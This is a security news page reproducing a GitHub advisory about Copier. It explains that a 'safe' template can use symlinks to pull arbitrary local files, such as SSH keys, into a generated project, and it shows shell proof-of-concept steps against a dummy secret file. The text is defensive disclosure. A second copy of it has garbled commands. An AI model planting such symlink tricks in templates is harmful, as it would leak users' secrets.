Security
Headlines
HeadlinesLatestCVEs

Headline

GHSA-xjhm-gp88-8pfx: Copier safe template has arbitrary filesystem read access via symlinks when _preserve_symlinks: false

Impact

Copier suggests that it’s safe to generate a project from a safe template, i.e. one that doesn’t use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with _preserve_symlinks: false (which is Copier’s default setting).

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

  • Illegally include a file in the generated project via symlink resolution:

    echo "s3cr3t" > secret.txt
    
    mkdir src/
    pushd src/
    ln -s ../secret.txt stolen-secret.txt
    popd
    
    uvx copier copy src/ dst/
    
    cat dst/stolen-secret.txt
    #s3cr3t
    
  • Illegally include a directory in the generated project via symlink resolution:

    mkdir secrets/
    pushd secrets/
    echo "s3cr3t" > secret.txt
    popd
    
    mkdir src/
    pushd src/
    ln -s ../secrets stolen-secrets
    popd
    
    uvx copier copy src/ dst/
    
    tree dst/
    # dst/
    # └── stolen-secrets
    #     └── secret.txt
    #
    # 1 directory, 1 file
    cat dst/stolen-secrets/secret.txt
    # s3cr3t
    

Patches

n/a

Workarounds

n/a

References

n/a

ghsa
#git#auth#ssh

Impact

Copier suggests that it’s safe to generate a project from a safe template, i.e. one that doesn’t use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,–trust flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with _preserve_symlinks: false (which is Copier’s default setting).

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

  • Illegally include a file in the generated project via symlink resolution:

    echo “s3cr3t” > secret.txt

    mkdir src/ pushd src/ ln -s …/secret.txt stolen-secret.txt popd

    uvx copier copy src/ dst/

    cat dst/stolen-secret.txt #s3cr3t

  • Illegally include a directory in the generated project via symlink resolution:

    mkdir secrets/ pushd secrets/ echo “s3cr3t” > secret.txt popd

    mkdir src/ pushd src/ ln -s …/secrets stolen-secrets popd

    uvx copier copy src/ dst/

    tree dst/

    dst/

    └── stolen-secrets

    └── secret.txt

    1 directory, 1 file

    cat dst/stolen-secrets/secret.txt

    s3cr3t

Patches

n/a

Workarounds

n/a

References

n/a

References

  • GHSA-xjhm-gp88-8pfx
  • copier-org/copier@b3a7b37

ghsa: Latest News

GHSA-cq3j-qj2h-6rv3: Container and Containerization archive extraction does not guard against escapes from extraction base directory.